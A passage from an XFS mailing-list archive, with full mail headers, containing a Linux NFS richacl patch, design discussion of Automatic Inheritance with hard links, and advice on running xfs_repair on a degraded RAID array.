<1445008706-15115-49-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445009032 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The dacl attribute includes Automatic Inheritance flags not supported by the acl attribute. it is only supported in NFS version 4.1 and higher. On systems where NFS version 4.0 is still the default, an additional mount option is needed: mount -t nfs4 -o vers=4.1 [...] Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4proc.c | 2 +- fs/nfs/nfs4xdr.c | 54 ++++++++++++++++++++++++++++++++++++++++++------- include/linux/nfs_xdr.h | 2 +- 3 files changed, 49 insertions(+), 9 deletions(-) diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index 7bb2dea..191369f 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -4556,7 +4556,7 @@ static struct richacl *__nfs4_get_acl_uncached(struct inode *inode) struct nfs_server *server = NFS_SERVER(inode); struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE)] = {}; struct nfs_getaclargs args = { - .fh = NFS_FH(inode), + .inode = inode, .acl_pages = pages, .acl_len = ARRAY_SIZE(pages) * PAGE_SIZE, }; diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index 2f1d6be..a73f7c6 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -1661,9 +1661,16 @@ encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compoun encode_nfs4_stateid(xdr, &zero_stateid); /* Encode attribute bitmap. */ - p = reserve_space(xdr, 2*4); - *p++ = cpu_to_be32(1); - *p = cpu_to_be32(FATTR4_WORD0_ACL); + if (arg->server->attr_bitmask[1] & FATTR4_WORD1_DACL) { + p = reserve_space(xdr, 3*4); + *p++ = cpu_to_be32(2); + *p++ = 0; + *p = cpu_to_be32(FATTR4_WORD1_DACL); + } else { + p = reserve_space(xdr, 2*4); + *p++ = cpu_to_be32(1); + *p = cpu_to_be32(FATTR4_WORD0_ACL); + } attrlen_offset = xdr->buf->len; xdr_reserve_space(xdr, 4); /* to be backfilled later */ @@ -2498,9 +2505,12 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, encode_compound_hdr(xdr, req, &hdr); encode_sequence(xdr, &args->seq_args, &hdr); - encode_putfh(xdr, args->fh, &hdr); + encode_putfh(xdr, NFS_FH(args->inode), &hdr); replen = hdr.replen + op_decode_hdr_maxsz + 1; - encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); + if (NFS_SERVER(args->inode)->attr_bitmask[1] & FATTR4_WORD1_DACL) + encode_getattr_two(xdr, 0, FATTR4_WORD1_MODE | FATTR4_WORD1_DACL, &hdr); + else + encode_getattr_two(xdr, FATTR4_WORD0_ACL, FATTR4_WORD1_MODE, &hdr); xdr_inline_pages(&req->rq_rcv_buf, replen << 2, args->acl_pages, 0, args->acl_len); @@ -5402,12 +5412,25 @@ static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, if (unlikely(bitmap[0] & (FATTR4_WORD0_ACL - 1U))) return -EIO; - if (likely(bitmap[0] & FATTR4_WORD0_ACL)) { + + if (bitmap[0] & FATTR4_WORD0_ACL) { + struct richace *ace; + + if (bitmap[1] & FATTR4_WORD1_DACL) + return -EIO; + acl = decode_acl_entries(xdr, res->server); if (IS_ERR(acl)) return PTR_ERR(acl); + + status = -EIO; + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & RICHACE_INHERITED_ACE) + goto out; + } + bitmap[0] &= ~FATTR4_WORD0_ACL; - } else + } else if (!(bitmap[1] & FATTR4_WORD1_DACL)) return -EOPNOTSUPP; status = -EIO; @@ -5417,6 +5440,23 @@ static int decode_getacl(struct xdr_stream *xdr, struct rpc_rqst *req, status = decode_attr_mode(xdr, bitmap, &res->mode); if (status < 0) goto out; + + if (bitmap[1] & FATTR4_WORD1_DACL) { + unsigned int flags; + __be32 *p; + + p = xdr_inline_decode(xdr, 4); + if (unlikely(!p)) + return -EIO; + flags = be32_to_cpup(p); + + acl = decode_acl_entries(xdr, res->server); + if (IS_ERR(acl)) + return PTR_ERR(acl); + + acl->a_flags = flags; + bitmap[1] &= ~FATTR4_WORD1_DACL; + } status = 0; out: diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 337c341..9c2a078 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -695,7 +695,7 @@ struct nfs_setaclres { struct nfs_getaclargs { struct nfs4_sequence_args seq_args; - struct nfs_fh * fh; + struct inode * inode; size_t acl_len; struct page ** acl_pages; }; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:44:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9D15C7FF8 for ; Fri, 16 Oct 2015 10:44:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7AEF5304053 for ; Fri, 16 Oct 2015 08:44:45 -0700 (PDT) X-ASG-Debug-ID: 1445010282-04bdf06db476070001-NocioJ Received: from mail-lf0-f42.google.com (mail-lf0-f42.google.com [209.85.215.42]) by cuda.sgi.com with ESMTP id cjpUPsIKDLKk8RaS (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 16 Oct 2015 08:44:43 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.42 Received: by lffv3 with SMTP id v3so82000480lff.0 for ; Fri, 16 Oct 2015 08:44:42 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:date:message-id:subject:from:to :content-type; bh=X4m6vOF26dfFDJHXOvZuvx1vs/YoGbWEwWjGALSTHa0=; b=aFOvqPC+OYFHp7Oeby4Ht0b8Q4qPaosN2ofe5nvYb193gmomtwTY6FJt1oIymObF1w dyI7a0DM1js8BZxrkCzxBnTtibaj2ykNApk5GjPB3YddeFVgNgCMWz9DR9XevejaJ2Z+ aBaIRAEId54FC5+Z5VcZgXOCtn4mFtTBI0TBV2xt6SmPB0bzDKVXxyOv/WN4ZlImkvjW bRSHbIM2KZkR749mfx5F84mfk6+qXpJq3mv/UsUPEJw6hzd7Pr+mzz6NdrKRXoMxX4LG Slrx4gXzZP1WiRgsbEFJSV2Mj3Pz/TgOhDUv/xz2D4grHMM3+knx6sSj0eFMUB1tiNkF xRHg== X-Gm-Message-State: ALoCoQm9UD9UPi91nvQ2L+zqRgY3EZ6xED/yes7bLDtyNMdTqU/jI34DVBpCaFC1avRzsEmV1pJV MIME-Version: 1.0 X-Received: by 10.25.144.78 with SMTP id s75mr5764442lfd.116.1445010282224; Fri, 16 Oct 2015 08:44:42 -0700 (PDT) Received: by 10.112.255.33 with HTTP; Fri, 16 Oct 2015 08:44:42 -0700 (PDT) Date: Fri, 16 Oct 2015 17:44:42 +0200 Message-ID: Subject: xfsprogs-dev: Richacl support From: Andreas Gruenbacher X-ASG-Orig-Subj: xfsprogs-dev: Richacl support To: xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f42.google.com[209.85.215.42] X-Barracuda-Start-Time: 1445010283 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA717 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23547 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 Hello, could the richacl feature flag please be added to xfsprogs so that we won't end up with incompatible file systems? https://github.com/andreas-gruenbacher/xfsprogs-dev Also, should this really be an incompatible feature flag? Mounting a richacl filesystem on a kernel without richacl support would otherwise work but it could grant unwanted access to files. Thanks, Andreas From luto@amacapital.net Fri Oct 16 11:00:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3FF707F6D for ; Fri, 16 Oct 2015 11:00:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 020978F8050 for ; Fri, 16 Oct 2015 09:00:35 -0700 (PDT) X-ASG-Debug-ID: 1445011231-04bdf06db277480001-NocioJ Received: from mail-ob0-f182.google.com (mail-ob0-f182.google.com [209.85.214.182]) by cuda.sgi.com with ESMTP id QugdXQdnej2FiBtK (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 16 Oct 2015 09:00:31 -0700 (PDT) X-Barracuda-Envelope-From: luto@amacapital.net X-Barracuda-Apparent-Source-IP: 209.85.214.182 Received: by obbwb3 with SMTP id wb3so67721730obb.0 for ; Fri, 16 Oct 2015 09:00:30 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=P5bp4AgEWo+voom+mwmYEVmP802HPJRcxQGGQBQIraQ=; b=WLL7wAe2QgVf8zYVDm9LdyaIauB0rB1hsgqahKS9nKNi38DVW+XQmhhsWnUOYDradS wf13KRR/rK/AZ7gaTf7jB5+A8m6sXrxbnFftk/sfext/9m2jtAJkkItFHujwFgKcoVLu gV4z4frfdiLaODlI4oGnMQNzzPLvmAgH4KTZcE6tLhQ4eHqfoAHIC5ASgHHWCCGzS0+1 IADF0qix64Dpa3Rh1F4UeuF50uZ3yNghNNh8BF+3al5aRiuC057jdUl/WgUhIVQKdZj5 FymiCJg5ehBay9SuqfE5zs/TUODE/13geQtqwkXe3e7ZnD5UVobI+t4aPTdMqYqq5OyV y2gw== X-Gm-Message-State: ALoCoQnsL5mKZVuuFSaSKtxvfBOjBm/+b6eFBVoGJh9NTnTY7LjGH82RNv9C7PrCR6VL0Azr8wAK X-Received: by 10.182.96.100 with SMTP id dr4mr10796679obb.49.1445011230792; Fri, 16 Oct 2015 09:00:30 -0700 (PDT) MIME-Version: 1.0 Received: by 10.202.137.17 with HTTP; Fri, 16 Oct 2015 09:00:11 -0700 (PDT) In-Reply-To: <1445008706-15115-17-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-17-git-send-email-agruenba@redhat.com> From: Andy Lutomirski Date: Fri, 16 Oct 2015 09:00:11 -0700 Message-ID: Subject: Re: [PATCH v11 16/48] richacl: Automatic Inheritance To: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 16/48] richacl: Automatic Inheritance Cc: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , "linux-ext4@vger.kernel.org" , xfs@oss.sgi.com, "linux-kernel@vger.kernel.org" , Linux FS Devel , linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, Linux API Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ob0-f182.google.com[209.85.214.182] X-Barracuda-Start-Time: 1445011231 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23548 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 16, 2015 at 8:17 AM, Andreas Gruenbacher wrote: > Automatic Inheritance (AI) allows changes to the acl of a directory to > propagate down to children. > > This is mostly implemented in user space: when a process changes the > permissions of a directory and Automatic Inheritance is enabled for that > directory, the process must propagate those changes to all children, > recursively. > > The kernel enables this by keeping track of which permissions have been > inherited at create time. In addition, it makes sure that permission > propagation is turned off when the permissions are set explicitly (for > example, upon create or chmod). > > Automatic Inheritance works as follows: > > - When the RICHACL_AUTO_INHERIT flag in the acl of a file or directory > is not set, the file or directory is not affected by AI. > > - When the RICHACL_AUTO_INHERIT flag in the acl of a directory is set > and a file or subdirectory is created in that directory, the > inherited acl will have the RICHACL_AUTO_INHERIT flag set, and all > inherited aces will have the RICHACE_INHERITED_ACE flag set. This > allows user space to distinguish between aces which have been > inherited and aces which have been explicitly added. What if the file or subdirectory that's created in that directory is a hard link? --Andy From agruenba@redhat.com Fri Oct 16 11:13:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A29377F85 for ; Fri, 16 Oct 2015 11:13:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 836BE8F804C for ; Fri, 16 Oct 2015 09:13:22 -0700 (PDT) X-ASG-Debug-ID: 1445011999-04cb6c3ceb41db0001-NocioJ Received: from mail-lb0-f173.google.com (mail-lb0-f173.google.com [209.85.217.173]) by cuda.sgi.com with ESMTP id hjQ5YtGcWh6xFfvd (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 16 Oct 2015 09:13:20 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.173 Received: by lbbes7 with SMTP id es7so14264223lbb.2 for ; Fri, 16 Oct 2015 09:13:19 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=tCxER2z3KCEi5FbdP3yOt1swBoTZNy4TOiol75RRhlg=; b=QH6Xf5uukMrI8iK5ZkKYLAbdKHOecxUux1EHlW5cQeYNJexaDf3ehRW6+9xyjO8Ipe Fjl6wv+EHUxGGsmzMBoiviTqc6udzfyZamkccFPOWnfVJPlJEL4OyV+mCH8+SvIXGrYi /onHffbwMaLl4c0qif9MsfZv6PDbXzlb7kC7J+WWgtQHzz7SlZzAjIy8ZlsX8N77QFF/ 0tygbBMBBLplQfhKtRVEER6ECVXH7koRhqzHdW9/dqEqMcl16Jb8PuH5C/O/Y4oyi/Vx 7Vz0MNuf82kgRJ++uEX4xDltgzgCmWXwZndMCAP/jbvmdUuM4AiTlGcy5fcCJXBFKBRT uM8A== X-Gm-Message-State: ALoCoQknerh0qOt7qUtI3Pr9fFRyypJ/T/Tgdt3Sa7IzYJbHbk611HO8qhKWz+vUc7dpcFcfVCSI MIME-Version: 1.0 X-Received: by 10.112.171.10 with SMTP id aq10mr8555842lbc.85.1445011999419; Fri, 16 Oct 2015 09:13:19 -0700 (PDT) Received: by 10.112.255.33 with HTTP; Fri, 16 Oct 2015 09:13:19 -0700 (PDT) In-Reply-To: References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-17-git-send-email-agruenba@redhat.com> Date: Fri, 16 Oct 2015 18:13:19 +0200 Message-ID: Subject: Re: [PATCH v11 16/48] richacl: Automatic Inheritance From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 16/48] richacl: Automatic Inheritance To: Andy Lutomirski Cc: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , "linux-ext4@vger.kernel.org" , xfs@oss.sgi.com, "linux-kernel@vger.kernel.org" , Linux FS Devel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f173.google.com[209.85.217.173] X-Barracuda-Start-Time: 1445012000 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23547 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 16, 2015 at 6:00 PM, Andy Lutomirski wrote: > On Fri, Oct 16, 2015 at 8:17 AM, Andreas Gruenbacher > wrote: >> Automatic Inheritance works as follows: >> >> - When the RICHACL_AUTO_INHERIT flag in the acl of a file or directory >> is not set, the file or directory is not affected by AI. >> >> - When the RICHACL_AUTO_INHERIT flag in the acl of a directory is set >> and a file or subdirectory is created in that directory, the >> inherited acl will have the RICHACL_AUTO_INHERIT flag set, and all >> inherited aces will have the RICHACE_INHERITED_ACE flag set. This >> allows user space to distinguish between aces which have been >> inherited and aces which have been explicitly added. > > What if the file or subdirectory that's created in that directory is a > hard link? Directories cannot have hard links. When a file is hard linked into multiple directories with different inheritable permissions, the permissions set last will "win". This isn't particularly pretty, but it's the way this has worked on that other operating system with significant marked share for the last fifteen years. Thanks, Andreas From sandeen@sandeen.net Fri Oct 16 11:29:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ED70A7F92 for ; Fri, 16 Oct 2015 11:29:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BDCAE304032 for ; Fri, 16 Oct 2015 09:29:23 -0700 (PDT) X-ASG-Debug-ID: 1445012960-04bdf06db277fa0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id LuJBdAEdlTpiI2lF for ; Fri, 16 Oct 2015 09:29:20 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 3804E63BCF80 for ; Fri, 16 Oct 2015 11:29:20 -0500 (CDT) Subject: Re: Error in `xfs_repair': double free or corruption To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Error in `xfs_repair': double free or corruption References: From: Eric Sandeen Message-ID: <562125DF.3050006@sandeen.net> Date: Fri, 16 Oct 2015 11:29:19 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1445012960 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23549 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On 10/16/15 9:26 AM, Dragon wrote: > Hello Emmanuel, > > kernel version is 3.16-0.bpo.2-amd64 and xfsprogs in version 3.2.1 > from stable. the question is if xfs_repair can repair a raid which > has missed a disk with over 240gb bad blocks. Well, we shouldn't hit that "double free or corruption" bug. But you have an old xfsprogs, so the suggestion of using something up to date is a good one. As for "can xfs_repair repair a raid which is missing a disk with 240g of bad blocks?" - xfs_repair cannot make something out of nothing; it should always end up with a filesystem which has consistent metadata, but that might be the result of throwing away a lot of un-fixable things. All too often I see people try to use xfs_repair on a raid which is in bad shape; not properly reassembled, etc, and that's only going to make things worse. You must get your storage into the best shape you can, first, and then xfs_repair will do its best to create consistency, but it cannot recreate lost (meta)data, in general. Running xfs_repair -n, or creating a metadump image, and running a full repair on that as a test, is often a good idea before you commit to changes on your original filesystem. -Eric > gretings > > > Hello, > i have a problem after repaired a degraded Softare Raid6. System is > Debian Jessi and Root and Boot are on Raid1, and Data on Raid6 on md2 > which miss one Disk. The mainproblem was a missing Disk because of > badblocks which i cloned and exchanged agains a new one. After that i > could successfully rebuild the raid (md2), while now only one disk is > midding. But i recognised that xfs reports inode problems. Therefor i > run xfs_repair on the raid device md2, but get message "Error in > `xfs_repair': double free or corruption" What can i do the fix > this? thx > > > You didn't provide enough information (kernel and xfs-progs version at > the very least) but you should use the latest version of xfs_repair, the > one included in Debian is probably quite old. Here's one new: > > http://update.intellique.com/pub/xfs_repair-4.2.0.gz > > Or if you like it better in debian form: > http://update.intellique.com/repository/pool/storiq3/unstable/amd64/xfsprogs_4.2.0+1_amd64.deb > > From ahferroin7@gmail.com Fri Oct 16 12:31:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 360367F9E for ; Fri, 16 Oct 2015 12:31:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EED1C304053 for ; Fri, 16 Oct 2015 10:31:40 -0700 (PDT) X-ASG-Debug-ID: 1445016699-04bdf06db47bf90001-NocioJ Received: from mail-ig0-f175.google.com (mail-ig0-f175.google.com [209.85.213.175]) by cuda.sgi.com with ESMTP id JHvultkyyG4TflBd (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 16 Oct 2015 10:31:39 -0700 (PDT) X-Barracuda-Envelope-From: ahferroin7@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.213.175 Received: by igbni9 with SMTP id ni9so18455134igb.1 for ; Fri, 16 Oct 2015 10:31:39 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:to:references:cc:from:message-id:date:user-agent :mime-version:in-reply-to:content-type; bh=0Fb4z+EGuLJYZlZhmL5Sn3NrpbZEbv64art59Ke4qtc=; b=cCUkt3aMKlgBdGhYMjxhcSr8Ia035iPwpa7fV6CbuvmkKezcqf1/y6spRfF3H7WlfL Q/icww0K16stH/OD7q6Jgx4GaDtpK9oxtWMwDmGsRPkcBk9rnUBqKcTMqCJlng/jKi6d 5Cfw+JdLkDgQMRDVR/dbgSToujaPQXCFKZsmLMtwRC6HM5TcfPESVLC7B4/caZrHLp9f kCKzR4iZpWB2B+DEOo5hBxn5TCHqOtIvWBQMWZJLiGu3n4J3x3Loy3pljev/a2IatR9d h00tamegA/G0TBgrfyb88lI3+Jbh3uuoaluveR/17xlJDglI23Y7HtyKQ91V3hzpDkSo 16OA== X-Received: by 10.50.111.79 with SMTP id ig15mr6664294igb.51.1445016699149; Fri, 16 Oct 2015 10:31:39 -0700 (PDT) Received: from [127.0.0.1] (rrcs-70-62-41-24.central.biz.rr.com. [70.62.41.24]) by smtp.googlemail.com with ESMTPSA id x142sm8379411iod.31.2015.10.16.10.31.36 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 16 Oct 2015 10:31:37 -0700 (PDT) Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Andreas Gruenbacher , Alexander Viro , Theodore Ts'o , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> Cc: "Aneesh Kumar K.V" From: Austin S Hemmelgarn Message-ID: <5621346E.5000500@gmail.com> Date: Fri, 16 Oct 2015 13:31:26 -0400 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <1445008706-15115-22-git-send-email-agruenba@redhat.com> Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha-512; boundary="------------ms080105070900080704090103" X-Antivirus: avast! (VPS 151016-0, 2015-10-16), Outbound message X-Antivirus-Status: Clean X-Barracuda-Connect: mail-ig0-f175.google.com[209.85.213.175] X-Barracuda-Start-Time: 1445016699 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23551 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a cryptographically signed message in MIME format. --------------ms080105070900080704090103 Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: quoted-printable On 2015-10-16 11:17, Andreas Gruenbacher wrote: > From: "Aneesh Kumar K.V" > > This feature flag selects richacl instead of posix acl support on the > file system. In addition, the "acl" mount option is needed for enabling= > either of the two kinds of acls. > > Signed-off-by: Aneesh Kumar K.V > Signed-off-by: Andreas Gruenbacher > --- > fs/ext4/ext4.h | 6 ++++-- > fs/ext4/super.c | 42 +++++++++++++++++++++++++++++++++--------- > 2 files changed, 37 insertions(+), 11 deletions(-) > > diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h > index fd1f28b..b97a3b1 100644 > --- a/fs/ext4/ext4.h > +++ b/fs/ext4/ext4.h > @@ -991,7 +991,7 @@ struct ext4_inode_info { > #define EXT4_MOUNT_UPDATE_JOURNAL 0x01000 /* Update the journal forma= t */ > #define EXT4_MOUNT_NO_UID32 0x02000 /* Disable 32-bit UIDs */ > #define EXT4_MOUNT_XATTR_USER 0x04000 /* Extended user attributes */= > -#define EXT4_MOUNT_POSIX_ACL 0x08000 /* POSIX Access Control Lists */= > +#define EXT4_MOUNT_ACL 0x08000 /* Access Control Lists */ > #define EXT4_MOUNT_NO_AUTO_DA_ALLOC 0x10000 /* No auto delalloc mappi= ng */ > #define EXT4_MOUNT_BARRIER 0x20000 /* Use block barriers */ > #define EXT4_MOUNT_QUOTA 0x80000 